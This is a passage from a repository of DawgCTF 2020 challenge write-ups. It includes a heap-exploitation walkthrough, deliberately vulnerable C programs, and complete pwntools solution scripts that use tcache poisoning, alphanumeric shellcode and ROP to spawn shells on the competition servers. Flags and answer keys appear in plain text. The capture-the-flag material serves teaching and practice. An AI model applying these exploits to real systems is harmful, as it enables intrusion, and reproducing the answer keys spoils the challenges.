like [0x20 chunk][0x670 unsorted][0x3c0 tcache]. From here we can set the freed tcache chunk's next 275 | pointer to somewhere in the second song (for our purposes, we will use`songs[1].album`, however the exact 276 | location is slightly misaligned for the exploit). This gives us a fake linked list that looks something like: 277 | 278 | ``` 279 | [0x3c0 tcache] -> &songs[1].album 280 | ``` 281 | 282 | or in a picture: 283 | 284 | ``` 285 | +-------------+ 286 | songs[1] -->| song_path | 287 | +------------------+ | fd | 288 | |heap, 0x3c0 tcache| -->| album | 289 | +------------------+ | song | 290 | | contents | 291 | +-------------+ 292 | ``` 293 | In order to do this, we'll have to overflow the 0x20 chunk and the 0x670 unsorted chunk. This gives us an even 0x690 bytes (nice). 294 | Now our exploit looks something like this: 295 | 296 | ```python 297 | def playsong(songnum): 298 | proc.recvuntil("Choice:") 299 | proc.sendline("3") 300 | proc.recvuntil("Choice:") 301 | proc.sendline(str(songnum)) 302 | 303 | def freesong(songnum): 304 | proc.recvuntil("Choice:") 305 | proc.sendline("4") 306 | proc.recvuntil("Choice:") 307 | proc.sendline(str(songnum)) 308 | 309 | def stdsong(songnum, len, data): 310 | playsong(songnum) 311 | proc.sendline(str(len)) 312 | proc.send(data) 313 | 314 | for i in range(3, ord('.') - 1): 315 | addsong("Animal/animal.txt") 316 | addsong("Animal/dinosaur.txt") 317 | addsong("Animal" + "/" * (24 - len("Animal"))) 318 | 319 | playsong(43) 320 | playsong(42) 321 | freesong(43) 322 | freesong(42) 323 | 324 | stdsong(44, -1, "A"*0x690 + p64(0x4040be)) 325 | ``` 326 | 327 | After this, we can allocate another 0x3c0 chunk (which one doesn't matter too much), which pops the tcache 328 | head, making the tcache head point `&songs[1].album`. We can once more malloc an 0x3c0 chunk, which returns 329 | `&songs[1].album`. For this, we choose song 19 such that `songs[18].contents = &songs[1].album`. 330 | After this, the fake chunk then gets memsetted. This song was chosen because it means that the file length works out exacty so that `songs[18].fd` will be zeroed out but 331 | `songs[18].contents` will not. The read, therefore, is `read(0, &songs[1].album, 0x3b3)`. Now we have control of the 332 | songs array and can create some fake song structs. 333 | 334 | We can set up these fake structs to do a few things: leak a libc address, 335 | cause a double free, and create a few songs with fd 0 for later use. The libc leak can be achieved by setting a song's 336 | album or song to a GOT entry and viewing the playlist. For the double free, we can create a fake chunk of size 0x20, and 337 | set the contents pointer of two songs to this fake chunk. 338 | When we remove these songs (numbered 4 and 5), they will free their contents pointer, double free-ing our 0x20 fake chunk. 339 | Note that when we remove a song the file descriptor is closed, so we have to set the file descriptor to a nonzero value (we don't want to close stdin, after all). 340 | 341 | ```python 342 | playsong(25) 343 | playsong(19) 344 | fake_chunk = '\x00'*0x1a + p64(0x21) + '\x00'*8 + p64(0) + p64(elf.got['system']) + p64(0) + p64(0) #the fake chunk 345 | fake_pointer = '\x00' * 24 + p64(0xff) + p64(elf.got['system']) + p64(0) + p64(0x4040e0) #for the double free 346 | fake_song = '\x00' * 24 + p64(0) + p64(elf.got['system']) + p64(0) + p64(0) #the fd 0 songs 347 | 348 | proc.send(fake_chunk + fake_pointer * 2 + fake_song * 3) 349 | freesong(4) 350 | proc.recvuntil("from ") 351 | system_addr = proc.readuntil("\n\nSo", drop=True) 352 | system_addr = u64(system_addr.ljust(8, '\x00')) 353 | libc.address = system_addr - libc.symbols["system"] 354 | print hex(libc.address) 355 | freesong(5) 356 | ``` 357 | 358 | ### don't stop make it pop 359 | 360 | By it, of course, we mean a shell. Remember we have setup some fake songs (numbered 6, 7, and 8) to read from stdin so we can malloc any size with any contents. 361 | At this point, our tcache looks something like this: 362 | 363 | ``` 364 | [heap]--\ 365 | ^-----/ 366 | ``` 367 | 368 | We first make one 0x20 allocation, which gives us the looped tcache entry. Because of the loop, the tcache head 369 | still points to this 0x20 chunk, so writing a fake next pointer here will give us control of the linked list. We set the next 370 | pointer to `__free_hook`. Now tcache 0x20 looks something like this: 371 | 372 | ``` 373 | [heap] -> [__free_hook] 374 | ``` 375 | 376 | We can make another 0x20 allocation to consume the first entry. For this, we pick the string `"/bin/sh"`. After that allocation, the tcache 377 | head becomes `__free_hook`. We can make another allocation to overwrite `__free_hook` with `system` and trigger the call by freeing a chunk. 378 | (You can see the full exploit script over at `trashcanna-sol.py`) 379 | 380 | ```python 381 | freesong(5) 382 | stdsong(6, 8, p64(libc.symbols["__free_hook"])) 383 | stdsong(7, 8, "/bin/sh") 384 | stdsong(8, 8, p64(libc.symbols["system"])) 385 | freesong(7) 386 | 387 | proc.interactive() 388 | ``` 389 | 390 | Now we've got a shell and can cat the flag, which is appropriately `DawgCTF{h0t_aNd_d@ng3r0us}`. 391 | 392 | ### you'll miss the magic of these good old days 393 | 394 | Sad to say this was my last DawgCTF as a student at UMBC, but happy to say it was the biggest 395 | and baddest we've ever had. Special thanks to RJ Joyce, Joe Aurelio, Cyrus Bonyadi, Seamus Burke, 396 | Chris Gardner, Zack Orndorff, Jackie Schultz, Chris Skane, Drew Barrett, and everyone else who 397 | made this event so special. Congrats to redpwn for the win and shoutout to Polaris, redpwn, 398 | HTCPCP://, and meltdown for solving it during the competiton (RPISEC also got the solve shortly 399 | after the competition ended, so kudos to them as well). I'll be writing challenges next year 400 | as well, so if you thought this was it I direct you to a line from Praying: `the best is yet to come`. 401 | -------------------------------------------------------------------------------- /pwn/tiktok/flag.txt: -------------------------------------------------------------------------------- 1 | Here's the flag: 2 | DawgCTF{h0t_aNd_d@ng3r0us} 3 | -------------------------------------------------------------------------------- /pwn/tiktok/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/tiktok/libc-2.27.so -------------------------------------------------------------------------------- /pwn/tiktok/pernicious-sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context.arch="amd64" 3 | 4 | elf = ELF("./tiktok",False) 5 | songs = 0x404060 6 | libc = ELF("./libc-2.27.so",False) 7 | 8 | if 'rem' in sys.argv: 9 | r = remote("umbccd.io", 4800) 10 | else: 11 | if '-d' in sys.argv: 12 | os.system("docker exec ub18 pkill -9 gdb") 13 | os.system("docker exec ub18 pkill -9 tiktok") 14 | r = remote("0", 1338) 15 | if '-d' in sys.argv: 16 | os.system("docker exec ub18 pidof tiktok > /tmp/ddd") 17 | pid = int(open("/tmp/ddd","r").read().split(' ')[0]) 18 | script = ''' 19 | set follow-fork-mode parent 20 | set detach-on-fork on 21 | 22 | #b *0x401822 23 | c 24 | #c 4 25 | ''' 26 | open("/tmp/script.gdb","w").write(script) 27 | os.system("docker cp /tmp/script.gdb ub18:/tmp/script.gdb") 28 | run_in_new_terminal("docker exec -it ub18 gdb -q /tiktok/tiktok %d -x /tmp/script.gdb"%pid) 29 | pid = pidof("tiktok").next() 30 | proc.wait_for_debugger(pid) 31 | 32 | def imp(path): 33 | r.sendafter("Choice: ", "1\n") 34 | r.sendafter("path.\n", path) 35 | def play(idx): 36 | r.sendafter("Choice: ", "3\n") 37 | r.sendafter("Choice: ", "%d\n"%idx) 38 | def heap(idx, pl, sz=None): 39 | if sz is None: 40 | sz = len(pl) 41 | play(idx) 42 | sz = str(sz) 43 | if len(sz) > 4: 44 | raise Exception("too long size") 45 | if len(sz) < 4: 46 | sz += "\n" 47 | r.send(sz) 48 | r.send(pl) 49 | def rem(idx): 50 | r.sendafter("Choice: ", "4\n") 51 | r.sendafter("Choice: ", "%d\n"%idx) 52 | def view(): 53 | r.sendafter("Choice: ", "2\n") 54 | 55 | imp("Rainbow/oldflame.txt") 56 | for i in xrange(0x2e-3-1): 57 | imp("Animal/animal.txt") 58 | imp("Animal".ljust(0x18,"/")) 59 | 60 | play(1) # makes 0x450 chunk 61 | play(2) # makes 0x3c0 chunk 62 | # now layout is [0x450][0x3c0] 63 | 64 | # maximum tcache size is 0x420, so this becomes an unsorted chunk 65 | rem(1) # unsorted 0x450 chunk 66 | rem(2) # 0x3c0 tcache chunk 67 | # now layout is [0x450 unsorted][0x3c0 tcache] 68 | 69 | # malloc(0) will split up 0x450 unsorted chunk 70 | # and give something like [0x20 chunk][0x430 unsorted][0x3c0 tcache] 71 | # so we can overflow the free tcache chunk, and set its next pointer 72 | # within the data section on songs[2].album 73 | # since songs[2].album points into the song_path, we get a fake linked list like this 74 | # [0x3c0 tcache] -> &songs[2].album -> &songs[2].song_path 75 | # +-------------+ 76 | # | song_path |<----\ 77 | # [heap] -->| album |-----/ 78 | # +-------------+ 79 | heap(44, "A"*0x450+p64(songs+0x38*2+0x20), -1) 80 | 81 | # alloc another 0x3c0 chunk 82 | # pops tcache head, making tcache head point to &songs[2].album 83 | play(3) 84 | # alloc another 0x3c0 chunk 85 | # malloc returns &songs[2].album, so songs[19].contents = &songs[2].album 86 | # and tcache head becomes &songs[2].song_path 87 | # then this fake chunk is memsetted 88 | # the file length works out exactly such that songs[19].fd will be zeroed 89 | # but songs[19].contents will not 90 | # so the read is then read(0, &songs[2].album, 0x3b3) 91 | # so we can create some fake song structs 92 | play(20) 93 | 94 | fake_chunk = songs+0x38*4+0x10 95 | # album, song, contents 96 | # use this to leak libc, and set contents to free later, pointing to a fake chunk 97 | pl = flat(elf.got['puts'], 0, fake_chunk) 98 | # path, fd, album, song, contents 99 | # make album a valid address, so we can free the contents 100 | # both this song and previous song have contents pointing to a fake chunk 101 | # so we can remove both songs and get a double free 102 | # note the file descriptor will be closed, so make it an invalid fd 103 | pl += "A"*0x18+flat(0xff, elf.address, 0, fake_chunk) 104 | # this songs path contains the fake chunk size of 0x20 105 | pl += flat(0, 0x21, 0)+flat(0xff, 0, 0, 0) 106 | # now put a few songs that will end up reading from stdin 107 | # this way we can malloc of the size we want, to utilize the double free later 108 | # these are song numbers 6,7,8... 109 | stdin_song = "A"*0x18+flat(0, elf.address, 0, 0) 110 | pl += stdin_song*3 111 | r.send(pl) 112 | 113 | view() 114 | r.recvuntil("3. ") 115 | libc.address = u64(r.recvuntil("-(null)", drop=True).ljust(8,'\0'))-libc.symbols['puts'] 116 | print "LIBC: "+hex(libc.address) 117 | 118 | # double free our fake 0x20 chunk, goes in tcache 119 | rem(3) 120 | rem(4) 121 | 122 | # tcache 0x20 is currently looped: [heap]--\ 123 | # ^-----/ 124 | # make one 0x20 allocation, and set a fake next pointer 125 | heap(6, flat(libc.symbols['__free_hook'])) 126 | # now tcache 0x20 is [heap] -> [__free_hook] 127 | # make another 0x20 allocation to consume the first entry 128 | heap(7, "/bin/sh") 129 | # now tcache head is __free_hook 130 | # overwrite it with system 131 | heap(8, flat(libc.symbols['system'])) 132 | 133 | # trigger system() by freeing a chunk 134 | rem(7) 135 | 136 | r.interactive() 137 | os.system("docker exec ub18 pkill -9 tiktok") 138 | -------------------------------------------------------------------------------- /pwn/tiktok/songs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/tiktok/songs.zip -------------------------------------------------------------------------------- /pwn/tiktok/tiktok: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/tiktok/tiktok -------------------------------------------------------------------------------- /pwn/tiktok/tiktok.c: -------------------------------------------------------------------------------- 1 | //gcc tiktok.c -o tiktok -fstack-protector-all -Wl,-z,now,-z,relro -no-pie 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define NUM_SONGS 50 9 | 10 | struct song{ 11 | char song_path[24]; //24 12 | int fd; //8 13 | char* album; //8 14 | char* song; //8 15 | char* contents; //8 16 | };//56 17 | 18 | int song_count; 19 | struct song songs[NUM_SONGS]; 20 | 21 | void list_options(){ 22 | system("ls -R"); 23 | printf("\nWhich song would you like to import?\n"); 24 | printf("Please provide the entire file path.\n"); 25 | } 26 | 27 | void import_song(){ 28 | list_options(); 29 | int nread = read(0, songs[song_count].song_path, sizeof(songs[song_count].song_path)); 30 | if(nread <= 0){ 31 | printf("Error reading input, exiting\n"); 32 | exit(-1); 33 | } 34 | if(songs[song_count].song_path[nread-1] == '\n'){ 35 | songs[song_count].song_path[nread-1] = '\x00'; 36 | } 37 | songs[song_count].fd = open(songs[song_count].song_path, O_RDONLY); 38 | if(songs[song_count].fd == -1 || songs[song_count].song_path[0] < 'A' || songs[song_count].song_path[0] > 'Z' || 39 | strstr(songs[song_count].song_path, "flag") || strstr(songs[song_count].song_path, "..")){ 40 | printf("Error: Bad filepath, exiting\n"); 41 | exit(-1); 42 | } 43 | songs[song_count].album = strtok(songs[song_count].song_path, "/"); 44 | songs[song_count].song = strtok(NULL, "."); 45 | } 46 | 47 | void list_playlist(){ 48 | for(int i = 0; i < song_count; i++){ 49 | if (songs[i].album) 50 | printf("%d. %s-%s\n", i+1, songs[i].album, songs[i].song); 51 | } 52 | } 53 | 54 | void play_song(){ 55 | int choice = 0; 56 | char length[5] = {0}; 57 | unsigned int file_len = 0; 58 | printf("Which song would you like to play?\n"); 59 | list_playlist(); 60 | printf("Choice: "); 61 | scanf("%d", &choice); 62 | while ((getchar()) != '\n'); 63 | choice--; 64 | if(choice >= song_count || choice < 0 || !songs[choice].album){ 65 | printf("Error: Invalid Song Selection"); 66 | return; 67 | } 68 | printf("You Selected: %s from %s\n", songs[choice].song, songs[choice].album); 69 | if (!songs[choice].contents){ 70 | for(int i = 0; i < sizeof(length); i++){ 71 | read(songs[choice].fd, length+i, 1); 72 | if(length[i] == '\n'){ 73 | length[i] = '\x00'; 74 | break; 75 | } 76 | } 77 | file_len = atoi(length); 78 | songs[choice].contents = malloc(file_len + 1); 79 | memset(songs[choice].contents, 0, file_len+1); 80 | read(songs[choice].fd, songs[choice].contents, file_len); 81 | } 82 | printf("%s", songs[choice].contents); 83 | } 84 | 85 | void remove_song(){ 86 | int choice = 0; 87 | printf("Which song would you like to remove?\n"); 88 | list_playlist(); 89 | printf("Choice: "); 90 | scanf("%d", &choice); 91 | while ((getchar()) != '\n'); 92 | choice--; 93 | if (choice < 0 || choice >= song_count || !songs[choice].album){ 94 | printf("Error: Invalid Song Selection"); 95 | return; 96 | } 97 | printf("Removing: %s from %s\n", songs[choice].song, songs[choice].album); 98 | songs[choice].song = 0; 99 | songs[choice].album = 0; 100 | free(songs[choice].contents); 101 | songs[choice].contents = 0; 102 | memset(songs[choice].song_path, 0, sizeof(songs[choice].song_path)); 103 | close(songs[choice].fd); 104 | songs[choice].fd = 0; 105 | } 106 | 107 | void play_music(){ 108 | while(1){ 109 | int choice = 0; 110 | printf("\nSo what would you like to do today?\n"); 111 | printf("1. Import a Song to the Playlist\n"); 112 | printf("2. Show Playlist\n"); 113 | printf("3. Play a song from the Playlist\n"); 114 | printf("4. Remove a song from the Playlist\n"); 115 | printf("5. Exit\n"); 116 | printf("Choice: "); 117 | scanf("%d", &choice); 118 | while ((getchar()) != '\n'); 119 | printf("\n"); 120 | switch(choice){ 121 | case 1: 122 | if(song_count >= NUM_SONGS){ 123 | printf("Error: Unable to Import Song, Library Full\n"); 124 | }else{ 125 | import_song(); 126 | song_count++; 127 | } 128 | break; 129 | case 2: 130 | if(song_count > 0){ 131 | list_playlist(); 132 | }else{ 133 | printf("Playlist is empty\n"); 134 | } 135 | break; 136 | case 3: 137 | if(song_count > 0){ 138 | play_song(); 139 | }else{ 140 | printf("Playlist is empty\n"); 141 | } 142 | break; 143 | case 4: 144 | if (song_count > 0){ 145 | remove_song(); 146 | }else{ 147 | printf("Playlist is empty\n"); 148 | } 149 | break; 150 | case 5: 151 | printf("We're sad to see you go!\n"); 152 | exit(0); 153 | break; 154 | } 155 | } 156 | } 157 | 158 | void welcome(){ 159 | printf("Welcome to my tik tok rock bot!\n"); 160 | printf("I really like Ke$ha, can you help me make a playlist?\n"); 161 | } 162 | 163 | int main(){ 164 | setvbuf(stdout, 0, 2, 0); 165 | setvbuf(stdin, 0, 2, 0); 166 | welcome(); 167 | play_music(); 168 | return 0; 169 | } 170 | -------------------------------------------------------------------------------- /pwn/tiktok/trashcanna_sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | proc_ = proc 4 | elf = ELF("./tiktok") 5 | libc = ELF("./libc-2.27.so") 6 | 7 | if 'rem' in sys.argv: 8 | proc = remote("ctf.umbccd.io", 4700) 9 | else: 10 | if '-d' in sys.argv: 11 | os.system("docker exec ubu18 pkill -9 gdb") 12 | os.system("docker exec ubu18 pkill -9 tiktok") 13 | proc = remote("0", 31337) 14 | if '-d' in sys.argv: 15 | os.system("docker exec ubu18 pidof tiktok > /tmp/ddd") 16 | pid = int(open("/tmp/ddd","r").read().split(' ')[0]) 17 | script = ''' 18 | set follow-fork-mode parent 19 | set detach-on-fork on 20 | #b *0x401822 21 | c 22 | #c 4 23 | ''' 24 | open("/tmp/script.gdb","w").write(script) 25 | os.system("docker cp /tmp/script.gdb ubu18:/tmp/script.gdb") 26 | run_in_new_terminal("docker exec -it ubu18 gdb -q /tiktok/tiktok %d -x /tmp/script.gdb"%pid) 27 | pid = pidof("tiktok").next() 28 | proc_.wait_for_debugger(pid) 29 | 30 | def addsong(songname): 31 | proc.recvuntil("Choice:") 32 | proc.sendline("1") 33 | proc.recvuntil("path.") 34 | proc.send(songname) 35 | 36 | def playsong(songnum): 37 | proc.recvuntil("Choice:") 38 | proc.sendline("3") 39 | proc.recvuntil("Choice:") 40 | proc.sendline(str(songnum)) 41 | 42 | def freesong(songnum): 43 | proc.recvuntil("Choice:") 44 | proc.sendline("4") 45 | proc.recvuntil("Choice:") 46 | proc.sendline(str(songnum)) 47 | 48 | def stdsong(songnum, len, data): 49 | playsong(songnum) 50 | proc.sendline(str(len)) 51 | proc.send(data) 52 | 53 | for i in range(3, ord('.') - 1): 54 | addsong("Animal/animal.txt") 55 | addsong("Animal/dinosaur.txt") 56 | addsong("Animal" + "/" * (24 - len("Animal"))) 57 | 58 | playsong(43) 59 | playsong(42) 60 | freesong(43) 61 | freesong(42) 62 | 63 | stdsong(44, -1, "A"*0x690 + p64(0x4040be)) 64 | proc.interactive() 65 | 66 | playsong(25) 67 | playsong(19) 68 | fake_chunk = '\x00' * 24 + p64(0xff) + p64(elf.got['system']) + p64(0) + p64(0x4040e0) 69 | fake_song = '\x00' * 24 + p64(0) + p64(elf.got['system']) + p64(0) + p64(0) 70 | 71 | proc.send('\x00'*0x1a + p64(0x21) + '\x00'*8 + p64(0) + p64(elf.got['system']) + p64(0) + p64(0) + fake_chunk * 2 + fake_song * 3) 72 | freesong(4) 73 | 74 | proc.recvuntil("from ") 75 | system_addr = proc.readuntil("\n\nSo", drop=True) 76 | system_addr = u64(system_addr.ljust(8, '\x00')) 77 | libc.address = system_addr - libc.symbols["system"] 78 | print hex(libc.address) 79 | freesong(5) 80 | stdsong(6, 8, p64(libc.symbols["__free_hook"])) 81 | stdsong(7, 8, "/bin/sh") 82 | stdsong(8, 8, p64(libc.symbols["system"])) 83 | freesong(7) 84 | 85 | proc.interactive() 86 | os.system("docker exec ubu18 pkill -9 tiktok") 87 | -------------------------------------------------------------------------------- /pwn/trASCII/README.md: -------------------------------------------------------------------------------- 1 | # trASCII - pwn 450 2 | # Author: trashcanna @annatea16 3 | 4 | trascii_sol.py - Solution Script courtesy of pernicious\ 5 | trASCII.c - Source Code, not distributed\ 6 | trASCII - Executable, distributed\ 7 | flag.txt - Flag file, not distributed 8 | -------------------------------------------------------------------------------- /pwn/trASCII/flag.txt: -------------------------------------------------------------------------------- 1 | DawgCTF{1t$_c@ll3d_g@rb@g3_c4n_n0t_g@rb4ge_c@nT} 2 | -------------------------------------------------------------------------------- /pwn/trASCII/trASCII: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/trASCII/trASCII -------------------------------------------------------------------------------- /pwn/trASCII/trASCII.c: -------------------------------------------------------------------------------- 1 | // gcc -m32 -fstack-protector --param=ssp-buffer-size=72 -no-pie -z execstack -Wl,-Ttext=0x52314d00 trASCII.c -o trASCII 2 | #include 3 | #include 4 | #include 5 | 6 | char trash[10000]; 7 | 8 | void compact(){ 9 | char compact[64] = {0}; 10 | int i = 0; 11 | int len = 0; 12 | printf("What garbage do you have for us today?\n"); 13 | fgets(trash, 10000, stdin); 14 | len = strlen(trash); 15 | if(len == 0){ 16 | printf("You didn't enter any trash :(\n"); 17 | exit(-1); 18 | } 19 | trash[len-1] = '\x00'; 20 | for(i = 0; i < len - 1; i++){ 21 | int count = 1; 22 | while(i < len - 1 && trash[i] == trash[i + 1]){ 23 | count++; 24 | i++; 25 | } 26 | if(trash[i] > 0x7a || trash[i] < 0x30){ 27 | printf("That\'s not trash, that\'s recycling\n"); 28 | exit(-1); 29 | } 30 | compact[strlen(compact) + 1] = '\x00'; 31 | compact[strlen(compact)] = trash[i]; 32 | sprintf(&compact[strlen(compact)], "%d", count); 33 | } 34 | memset(trash, 0, sizeof(trash)); 35 | strcpy(trash, compact); 36 | printf("Thanks for the trash! Here's how I compressed it: %s\n", trash); 37 | } 38 | 39 | int main(){ 40 | setvbuf(stdout, 0, 2, 0); 41 | setvbuf(stdin, 0, 2, 0); 42 | printf("Welcome to trASCII, a program by trashcanna!\n"); 43 | printf("We'll take all your random ASCII garbage and convert it into something magical!\n"); 44 | compact(); 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /pwn/trASCII/trascii_sol.py: -------------------------------------------------------------------------------- 1 | #Written by pernicious 2 | 3 | from pwn import * 4 | 5 | if 'rem' in sys.argv: 6 | r = remote("ctf.umbccd.io",4800) 7 | else: 8 | if '-d' in sys.argv: 9 | os.system("docker exec ub18 pkill -9 gdb") 10 | os.system("docker exec ub18 pkill -9 chall") 11 | r = remote("0", 1338) 12 | if '-d' in sys.argv: 13 | os.system("docker exec ub18 pidof chall > /tmp/ddd") 14 | pid = int(open("/tmp/ddd","r").read().split(' ')[0]) 15 | script = ''' 16 | b *0x080493df 17 | c 18 | ''' 19 | open("/tmp/script.gdb","w").write(script) 20 | os.system("docker cp /tmp/script.gdb ub18:/tmp/script.gdb") 21 | run_in_new_terminal("docker exec -it ub18 gdb -q /chall %d -x /tmp/script.gdb"%pid) 22 | pid = pidof("chall").next() 23 | proc.wait_for_debugger(pid) 24 | 25 | pl = "AB"*(76/4-3) 26 | pl += "A"*10+"B" 27 | pl += "T"+"P" 28 | pl += "A"+"B"*2 29 | pl += "S"+"P"*10 30 | pl += "AB"*(194/4-1) 31 | pl += "A"+"B"*10 32 | 33 | #xor [edi], bh 34 | sc = "?"*6 35 | # push eax; pop edx 36 | sc += "P"*6+"Z"*6 37 | # push 0x31; pop eax; xor al, 0x31 38 | sc += "j"+"X"*41 39 | # push eax; pop ebx; dec ebx 40 | sc += "P"*6+"["*6+"K"*60 41 | # xor [edi], bh; dec edi; xor [edi], bh 42 | sc += "?"*6+"O"*60+"?"*6 43 | # push eax; pop ebx 44 | sc += "P"*6+"["*6 45 | # push edi; pop ecx 46 | sc += "W"*6+"Y"*6 47 | # push ebx; pop eax; inc eax; inc esi; inc eax; inc esi; inc eax 48 | sc += "S"*6+"X"*6+"@"*6+"F"*6+"@"*6+"F"*6+"@"*6 49 | # nops: inc esi; dec esi... 50 | sc += ("F"*6+"N"*6)*50 51 | # place value that gets xored to be 0x80cd 52 | sc += "<"*16+"N"*6+"F"*2 53 | sc += "N" 54 | 55 | pl += sc 56 | 57 | print pl 58 | 59 | r.sendafter("today?\n", pl+'\n') 60 | 61 | r.send("AA"+asm(shellcraft.execve("/bin/sh",0,0))) 62 | 63 | r.interactive() 64 | -------------------------------------------------------------------------------- /pwn/whereweroppinboys/README.md: -------------------------------------------------------------------------------- 1 | # Where we roppin boys? - pwn 350 2 | # Author: trashcanna @annatea16 3 | 4 | whereweroppin_sol.py - Solution Script\ 5 | rop.c - Source Code, not distributed\ 6 | rop - Executable, distributed\ 7 | flag.txt - Flag file, not distributed 8 | -------------------------------------------------------------------------------- /pwn/whereweroppinboys/flag.txt: -------------------------------------------------------------------------------- 1 | DawgCTF{f0rtni9ht_xD} 2 | -------------------------------------------------------------------------------- /pwn/whereweroppinboys/rop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/whereweroppinboys/rop -------------------------------------------------------------------------------- /pwn/whereweroppinboys/rop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int len = 0; 9 | char *shellcode; 10 | 11 | 12 | void welcome(){ 13 | printf("What's up guys welcome to my channel today we're gonna hack fornite XD\n"); 14 | printf("So where we roppin boys?\n"); 15 | shellcode = mmap(0, 28, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 16 | if (shellcode == MAP_FAILED) { 17 | perror("mmap() failed"); 18 | exit(1); 19 | } 20 | } 21 | 22 | int loot_lake(){ 23 | if(len < 24){ 24 | *(shellcode + (len++)) = '\xc0'; 25 | *(shellcode + (len++)) = '\x40'; 26 | *(shellcode + (len++)) = '\xcd'; 27 | *(shellcode + (len++)) = '\x80'; 28 | return 0; 29 | } 30 | return 1; 31 | } 32 | 33 | int lonely_lodge(){ 34 | if(len < 24){ 35 | *(shellcode + (len++)) = '\xc1'; 36 | *(shellcode + (len++)) = '\x89'; 37 | *(shellcode + (len++)) = '\xc2'; 38 | *(shellcode + (len++)) = '\xb0'; 39 | return 0; 40 | } 41 | return 1; 42 | } 43 | 44 | int tilted_towers(){ 45 | if(len < 24){ 46 | *(shellcode + (len++)) = '\x31'; 47 | *(shellcode + (len++)) = '\xc0'; 48 | *(shellcode + (len++)) = '\x50'; 49 | *(shellcode + (len++)) = '\x68'; 50 | return 0; 51 | } 52 | return 1; 53 | } 54 | 55 | int snobby_shores(){ 56 | if(len < 24){ 57 | *(shellcode + (len++)) = '\x68'; 58 | *(shellcode + (len++)) = '\x2f'; 59 | *(shellcode + (len++)) = '\x62'; 60 | *(shellcode + (len++)) = '\x69'; 61 | return 0; 62 | } 63 | return 1; 64 | } 65 | 66 | int dusty_depot(){ 67 | if(len < 24){ 68 | *(shellcode + (len++)) = '\x0b'; 69 | *(shellcode + (len++)) = '\xcd'; 70 | *(shellcode + (len++)) = '\x80'; 71 | *(shellcode + (len++)) = '\x31'; 72 | return 0; 73 | } 74 | return 1; 75 | } 76 | 77 | int junk_junction(){ 78 | if(len < 24){ 79 | *(shellcode + (len++)) = '\x2f'; 80 | *(shellcode + (len++)) = '\x2f'; 81 | *(shellcode + (len++)) = '\x73'; 82 | *(shellcode + (len++)) = '\x68'; 83 | return 0; 84 | } 85 | return 1; 86 | } 87 | 88 | int greasy_grove(){ 89 | if(len < 24){ 90 | *(shellcode + (len++)) = '\x6e'; 91 | *(shellcode + (len++)) = '\x89'; 92 | *(shellcode + (len++)) = '\xe3'; 93 | *(shellcode + (len++)) = '\x89'; 94 | return 0; 95 | } 96 | return 1; 97 | } 98 | 99 | int win(){ 100 | if(mprotect(shellcode, 28, PROT_EXEC) < 0){ 101 | exit(1); 102 | } 103 | (*(void(*)()) shellcode)(); 104 | return 0; 105 | } 106 | 107 | int tryme(){ 108 | char sum[4]; 109 | fgets(sum, 25, stdin); 110 | fflush(stdin); 111 | return 0; 112 | } 113 | 114 | int main(){ 115 | welcome(); 116 | tryme(); 117 | return 0; 118 | } 119 | -------------------------------------------------------------------------------- /pwn/whereweroppinboys/whereweroppin_sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import struct 3 | 4 | #p = process("./rop") 5 | p = remote("ctf.umbccd.io", 4100) 6 | e = ELF("./rop") 7 | 8 | print p.recvuntil("boys?") 9 | context.log_level = "debug" 10 | 11 | sc = cyclic(16) 12 | sc += flat(e.symbols['tilted_towers'], e.symbols['tryme']) 13 | sc += cyclic(16) 14 | sc += flat(e.symbols['junk_junction'], e.symbols['tryme']) 15 | sc += cyclic(16) 16 | sc += flat(e.symbols['snobby_shores'], e.symbols['tryme']) 17 | sc += cyclic(16) 18 | sc += flat(e.symbols['greasy_grove'], e.symbols['tryme']) 19 | sc += cyclic(16) 20 | sc += flat(e.symbols['lonely_lodge'], e.symbols['tryme']) 21 | sc += cyclic(16) 22 | sc += flat(e.symbols['dusty_depot'], e.symbols['tryme']) 23 | sc += cyclic(16) 24 | sc += flat(e.symbols['loot_lake'], e.symbols['win']) 25 | p.send(sc) 26 | 27 | p.interactive() 28 | -------------------------------------------------------------------------------- /reversing/defcon_practice/README.md: -------------------------------------------------------------------------------- 1 | # DEFCON Practice - 500 points 2 | 3 | ## Solution 4 | 5 | * Find out what challenge this PCAP is an exploit of, read a writeup, determine that it is writing/leaking data by modifying gears 6 | * Alternatively, you can just guess that's what happening since the first 8 bytes written looks like a memory address (0x7f.....) 7 | * Extract the written data and examine it 8 | * First part is a ROP chain (don't need to actually resolve the gadgets to solve this), it looks like a standard mprotect() chain 9 | * Next part is shellcode with some light anti disassembly 10 | * Shellcode reads a filename, decrypts it, opens it, sends the contents back encrypted 11 | * Encryption algorithm used is RC4 with an intentional bug: in between the two encryptions, the state is not reset but the counter is. PyCrypto, CyberChef, and all other libs annoyingly correctly decrypt the filename but not the contents 12 | * Furthermore, the shellcode derives the key from two things: an int send over the connection (unencrypted) and something that is part of the binary. So you need to actually grab the binary so solve this challenge 13 | * Write your own RC4 implemtnation (or copy and paste + modify) then decrypt the bit at the end of the PCAP 14 | -------------------------------------------------------------------------------- /reversing/defcon_practice/exploit.pcap: -------------------------------------------------------------------------------- 